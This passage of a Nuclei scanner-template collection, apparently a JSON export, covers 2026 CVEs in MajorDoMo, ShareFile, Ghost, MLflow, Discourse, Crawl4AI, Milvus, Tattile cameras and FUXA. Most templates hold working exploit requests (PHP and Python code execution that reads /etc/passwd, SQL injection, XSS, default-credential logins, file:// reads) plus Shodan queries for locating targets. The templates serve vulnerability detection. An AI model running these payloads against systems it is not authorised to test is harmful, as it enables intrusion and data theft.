     - '\"version\":(\\d+)'\n\n  - raw:\n      - |\n        GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - '!contains(body, \"invalid_access\")'\n          - 'contains(body, \"\\\"cooked\\\"\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100e1b6e813fd6dabb797ffc3658814e12a8c22548c732862826ea939f82bd1b168022100ab1bc5ab05a0e9f826371752f184bd4f7d8be6d941bb611da57ceac18f45ac57:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-27454.yaml","vuln_id":"cve-2026-27454"},{"raw":"id: CVE-2026-27176\n\ninfo:\n  name: MajorDoMo - Cross-Site Scripting\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.\n  impact: |\n    Attackers can execute arbitrary JavaScript in victim's browser, leading to session hijacking or other client-side attacks.\n  remediation: |\n    Sanitize the $qry parameter using htmlspecialchars() or equivalent before rendering.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27176\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-27176\n    epss-score: 0.005\n    epss-percentile: 0.42961\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"majordomo\"\n  tags: cve,cve2026,xss,majordomo\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"><img src=x onerror=alert(document.domain)>'\n          - \"Command:\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402207480944ee84b3d5537c446990fa13eee805e2a1560746ceecf35a4f2c2bbe52a02205a34b51d962f151e2c989eecce1915a317454b4fc471384ebbe324a1ccbc71fb:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-27176.yaml","vuln_id":"cve-2026-27176"},{"raw":"id: CVE-2026-27174\n\ninfo:\n  name: MajorDoMo - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.\n  impact: |\n   Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.\n  remediation: |\n   Update to the latest version with the fix for the include order bug and proper exit after redirect.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n    - https://github.com/sergejey/majordomo/issues/1177\n    - https://chocapikk.com/posts/2026/majordomo-revisited\n    - https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-27174\n    epss-score: 0.06853\n    epss-percentile: 0.94061\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:sergejey:majordomo:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: sergejey\n    product: majordomo\n    fofa-query: body=\"templates/application.html\"\n    shodan-query: http.html:\"templates/application.html\"\n  tags: cve,cve2026,rce,majordomo,php,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:[x*]:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100d993ea17339bbd7f968093f9c952f4355956b68cec9b46604c9c3a820126d7530221008632cd9b9f795ac24f14627783f89edc264f48380d7ea67197028b6fd791b24d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27174.yaml","vuln_id":"cve-2026-27174"},{"raw":"id: CVE-2026-2699\n\ninfo:\n  name: Progress ShareFile Storage Zones Controller - Authentication Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.\n  impact: |\n    Unauthenticated attackers can change system configuration and potentially execute remote code, leading to full system compromise.\n  remediation: Update ShareFile Storage Zones Controller to version 5.12.4 or later.\n  reference:\n    - https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699\n    - https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/\n    - https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-2699\n    cwe-id: CWE-284\n    epss-score: 0.58386\n    epss-percentile: 0.99099\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: progress\n    product: sharefile_storage_zones_controller\n    fofa-query: title==\"ShareFile Storage Server\"\n    shodan-query: title:\"ShareFile Storage Server\"\n  tags: cve,cve2026,progress,sharefile,auth-bypass,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"ShareFile Storage Server\"\n        internal: true\n\n  - raw:\n      - |\n        GET /ConfigService/Admin.aspx HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'content_length >= 10000'\n        condition: and\n# digest: 4a0a0047304502201ec2e3037f5fafd0a0027ae39117482fffa04221c841038fa08cd936668b0b8d022100a9276b94be6ab972b903d5579aa35d631f93f1c43b044076b2f76cf31d787645:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-2699.yaml","vuln_id":"cve-2026-2699"},{"raw":"id: CVE-2026-26980\n\ninfo:\n  name: Ghost CMS Content API - SQL Injection\n  author: domwhewell-sage\n  severity: critical\n  description: |\n    Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.\n  impact: |\n    An unauthenticated attacker can extract arbitrary data from the Ghost database including user credentials, API keys, and all content, potentially leading to full compromise of the CMS.\n  remediation: |\n    Upgrade Ghost CMS to version 6.19.1 or later which uses parameterized queries for slug filter ordering.\n  reference:\n    - https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97\n    - https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26980\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 9.4\n    cve-id: CVE-2026-26980\n    epss-score: 0.71095\n    epss-percentile: 0.99408\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: ghost\n    product: ghost\n    framework: node.js\n    shodan-query: http.component:\"Ghost\"\n    fofa-query: app=\"Ghost\"\n  tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev\n\nflow: |\n  http(1) && http(2) && http(3)\n\nhttp:\n  - id: extract-api-key\n    method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: api_key\n        part: body\n        group: 1\n        regex:\n          - 'data-key=\"([a-f0-9]{20,})\"'\n        internal: true\n\n  - id: extract-first-slug\n    method: GET\n    path:\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null\"\n\n    extractors:\n      - type: json\n        part: body\n        name: first_slug\n        json:\n          - '.tags[0].slug'\n        internal: true\n\n  - id: check-sqli\n    method: GET\n    path:\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]\"\n      - \"{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"len(body_1) != len(body_2)\"\n# digest: 490a004630440220593a60297cfb2c419f0fdc700d79e26fbdce1adc0620b73cce821cb9780ffcdc02205454e657fb7595c97bf277766bef2175615a3fcc5f5d3a211c5068a1e99fbb64:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-26980.yaml","vuln_id":"cve-2026-26980"},{"raw":"id: CVE-2026-2652\n\ninfo:\n  name: MLflow < 3.10.0 - Authentication Bypass on FastAPI Routes\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.\n  impact: |\n    An unauthenticated attacker can bypass authentication to access job management APIs and inject arbitrary trace data, potentially leading to data integrity compromise and unauthorized job execution.\n  remediation: |\n    Upgrade MLflow to version 3.10.0 or later.\n  reference:\n    - https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2652\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L\n    cvss-score: 8.6\n    cve-id: CVE-2026-2652\n    epss-score: 0.20783\n    epss-percentile: 0.97549\n    cwe-id: CWE-306\n    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: lfprojects\n    product: mlflow\n    shodan-query: http.title:\"mlflow\"\n    fofa-query: app=\"mlflow\"\n  tags: cve,cve2026,mlflow,auth-bypass,lfprojects,vuln,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/2.0/mlflow/experiments/list HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax-api/3.0/jobs/search HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"\\\"jobs\\\":\")\n          - contains(content_type, 'application/json')\n        condition: and\n# digest: 4b0a00483046022100d097aadc7a5dc19c533c47086b0d3697eaa7f430df2c47cf706ec2f3bf708fcf0221009e3b092c71146526fbf063cf337ab770df9765fce25d654a3e9b2496c28f86e8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2652.yaml","vuln_id":"cve-2026-2652"},{"raw":"id: CVE-2026-26341\n\ninfo:\n  name: Tattile Camera < 1.181.5 - Default Login\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Tattile Smart+, Vega, and Basic device families firmware <= 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges.\n  impact: |\n   Attackers can gain administrative access to device configuration and data, leading to unauthorized control and data exposure.\n  remediation: |\n   Update firmware to a version later than 1.181.5 or the latest available version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-26341\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-26341\n    epss-score: 0.02885\n    epss-percentile: 0.86908\n    cwe-id: CWE-1392\n    cpe: cpe:2.3:o:tattile:smart\\+_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"Tattile camera manager\"\n    fofa-query: icon_hash==\"2030104257\"\n  tags: cve,cve2026,tattile,default-login,camera,iot\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"Tattile camera manager\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/security/login HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic c3VwZXJ1c2VyOnN1cGVydXNlcg==\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"text/plain\")\n          - regex(\"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$\", body)\n        condition: and\n# digest: 490a0046304402207aef1f3130dc13525a5c52fb8518332571d235543a9dc8891cbc46e7967e8c91022033d552228e9005bca4b165b00b90d318bf5424ec6c833c7e50bead3ba5472c63:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-26341.yaml","vuln_id":"cve-2026-26341"},{"raw":"id: CVE-2026-26265\n\ninfo:\n  name: Discourse - Private User Field Disclosure via Directory Items IDOR\n  author: str4k3r\n  severity: high\n  description: |\n    Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.\n  impact: |\n    Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses.\n  remediation: |\n    Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later.\n  reference:\n    - https://github.com/discourse/discourse/security/advisories/GHSA-crxf-p6jm-vpgw\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26265\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-26265\n    epss-score: 0.01273\n    epss-percentile: 0.6996\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: discourse\n    product: discourse\n    shodan-query: http.component:\"Discourse\"\n    fofa-query: app=\"Discourse\"\n    zoomeye-query: app:\"Discourse\"\n    hunter-query: web.title=\"Discourse\"\n  tags: cve,cve2026,discourse,idor,exposure,unauth\n\nflow: |\n  http(1);\n  var id = template[\"uf_id\"];\n  if (Array.isArray(id)) set(\"uf_id\", id[0]);\n  if (template[\"uf_id\"]) http(2);\n\nhttp:\n  - raw:\n      - |\n        GET /site.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"user_fields\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: uf_id\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"id\":(\\d+)[^{}]*?\"show_on_(?:profile|user_card)\":false'\n\n  - raw:\n      - |\n        GET /directory_items.json?period=all&user_field_ids={{uf_id}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains(body, \"\\\"user_fields\\\":{\\\"\" + uf_id + \"\\\":\")'\n        condition: and\n# digest: 4a0a00473045022100ab11965aeafdbcec9d79f690db77b4b3b703ff58823d01f8a945c9f3f0dc5f9a02205139933ffc9e5c4c764224567a2476fc62dbf17d4f58152a3f8134816156c5c4:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-26265.yaml","vuln_id":"cve-2026-26265"},{"raw":"id: CVE-2026-26217\n\ninfo:\n  name: Crawl4AI < 0.8.0 - Local File Inclusion\n  author: str4k3r,Aryu-RU\n  severity: critical\n  description: |\n    The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.\n  impact: |\n    Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.\n  remediation: |\n    Update to version 0.8.0 or later.\n  reference:\n    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796\n  classification:\n    cve-id: CVE-2026-26217\n    epss-score: 0.02097\n    epss-percentile: 0.81732\n  metadata:\n    verified: true\n    shodan-query: title:\"Crawl4AI\"\n    fofa-query: title=\"Crawl4AI\"\n  tags: cve,cve2026,crawl4ai,lfi,file-read\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(body), \"crawl4ai\")'\n        internal: true\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/execute_js\"\n      - \"{{BaseURL}}/html\"\n    headers:\n      Content-Type: application/json\n    body: '{\"url\": \"file:///etc/passwd\", \"scripts\": [\"document.body.innerText\"]}'\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100b834b1310910878c54ea6f09568f9b9a69e7b41c65cffade80de20c1dfdb8c3b022058b92b33f78e4cdff1422f2d3341e36b664c35cbffa7eacba2acb35349e3ff1f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-26217.yaml","vuln_id":"cve-2026-26217"},{"raw":"id: CVE-2026-26216\n\ninfo:\n  name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter\n  author: dishantmodi\n  severity: critical\n  description: |\n    Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.\n  remediation: |\n    Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.\n  impact: |\n    An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.\n  reference:\n    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp\n    - https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter\n    - https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26216\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-26216\n    epss-score: 0.06418\n    epss-percentile: 0.93719\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.html:\"Crawl4AI\"\n    fofa-query: body=\"Crawl4AI\"\n  tags: cve,cve2026,crawl4ai,rce,python,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /crawl HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"urls\":[\"https://example.com\"],\"hooks\":{\"code\":{\"on_page_context_created\":\"async def hook(page, context, **kwargs):\\n    _builtins = __import__('builtins')\\n    with _builtins.open('/etc/passwd', 'r') as _f:\\n        _data = _f.read(300)\\n    _os = __import__('os')\\n    raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\\n    return page\"},\"timeout\":30}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"AEV-CANARY-{{randstr}}-root:x:0:0\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022077c65f43fcb75f0b1c6635d6738e4db17e3a89c407029ad7181d4204a9bd4c2a022100c64c7d08b3102d7cac36d442099012a0495a48f65a140772d38a271c8380f05b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-26216.yaml","vuln_id":"cve-2026-26216"},{"raw":"id: CVE-2026-26190\n\ninfo:\n  name: Milvus - Unauthenticated Metrics API Access\n  author: WRG-11\n  severity: critical\n  description: |\n    Milvus < 2.5.27 and < 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.\n  impact: |\n    Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.\n  remediation: |\n    Update to versions 2.5.27 or 2.6.10 or later.\n  reference:\n    - https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6\n    - https://github.com/advisories/GHSA-7ppg-37fh-vcr6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26190\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-26190\n    epss-score: 0.39255\n    epss-percentile: 0.98607\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: milvus\n    product: milvus\n    shodan-query: 'http.html:\"404 page not found\" port:\"9091\"'\n  tags: cve,cve2026,milvus,auth-bypass,unauth,vkev\n\nvariables:\n  num1: \"{{rand_int(40000, 44800)}}\"\n  num2: \"{{rand_int(40000, 44800)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /expr?auth={{randstr}}&code={{num1}}*{{num2}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'the expr auth is invalid'\n        internal: true\n\n  - raw:\n      - |\n        GET /expr?auth=by-dev&code={{num1}}*{{num2}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"output\":\"{{result}}\"'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100d97b792c113ab971183e8022944dec4edad169435ae15b6bc3ab0ed4eac2d72a022100fbf0d1c74c76eeb6794d9ef03772134555e46013dd47cc2b16911544d4903e9f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-26190.yaml","vuln_id":"cve-2026-26190"},{"raw":"id: CVE-2026-2614\n\ninfo:\n  name: MLflow <= 3.9.0 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.\n  remediation: |\n    Upgrade to version 3.10.0 or later.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories\n    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a\n    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2614\n    epss-score: 0.03691\n    epss-percentile: 0.89741\n    cwe-id: CWE-22\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: mlflow\n    product: mlflow\n    shodan-query: title:\"MLflow\"\n  tags: cve,cve2026,mlflow,lfi,traversal,vkev\n\nvariables:\n  model: \"{{to_lower(rand_base(10))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\"}\n\n      - |\n        POST /api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\",\"source\":\"file:///etc/\",\"tags\":[{\"key\":\"mlflow.prompt.is_prompt\",\"value\":\"true\"}]}\n\n      - |\n        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220078f1d83ec7df97071015f77996f1de163b24161ca47a1ea3f3f2c157b37cbe7022100ba7d27dad3e62dcb13d8b3cbc3a90465815d3f99bd589aa0bdfda9573c05a76b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2614.yaml","vuln_id":"cve-2026-2614"},{"raw":"id: CVE-2026-26077\n\ninfo:\n  name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery\n  author: str4k3r\n  severity: medium\n  description: |\n    Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.\n  impact: |\n    An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.\n  remediation: |\n    Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.\n  reference:\n    - https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L\n    cvss-score: 6.5\n    cve-id: CVE-2026-26077\n    epss-score: 0.00928\n    epss-percentile: 0.60662\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: discourse\n    product: discourse\n    shodan-query: http.component:\"Discourse\"\n    fofa-query: body=\"Discourse\"\n  tags: cve,cve2026,discourse,authbypass,unauth\n\nvariables:\n  token: \"{{randstr}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Discourse\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /webhooks/mailpace HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"event\":\"email.bounced\",\"payload\":{\"message_id\":\"{{token}}@example.local\",\"status\":\"bounced\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"^\\\\s*$\", body)'\n          - 'contains(header, \"X-Request-Id\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a00463044022021ed2d4e92046f6ff2624653dbf1c3e3220780c7a335f24b191c22c3b8d8cd3202204d4ae69877e0dbb4da6ddf0bb0608988a9fc13c506f65fdd404cfb57c84c5723:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-26077.yaml","vuln_id":"cve-2026-26077"},{"raw":"id: CVE-2026-25895\n\ninfo:\n  name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write\n  author: prithvee07\n  severity: critical\n  description: |\n    FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours \"../\" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.\n  impact: |\n    Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, 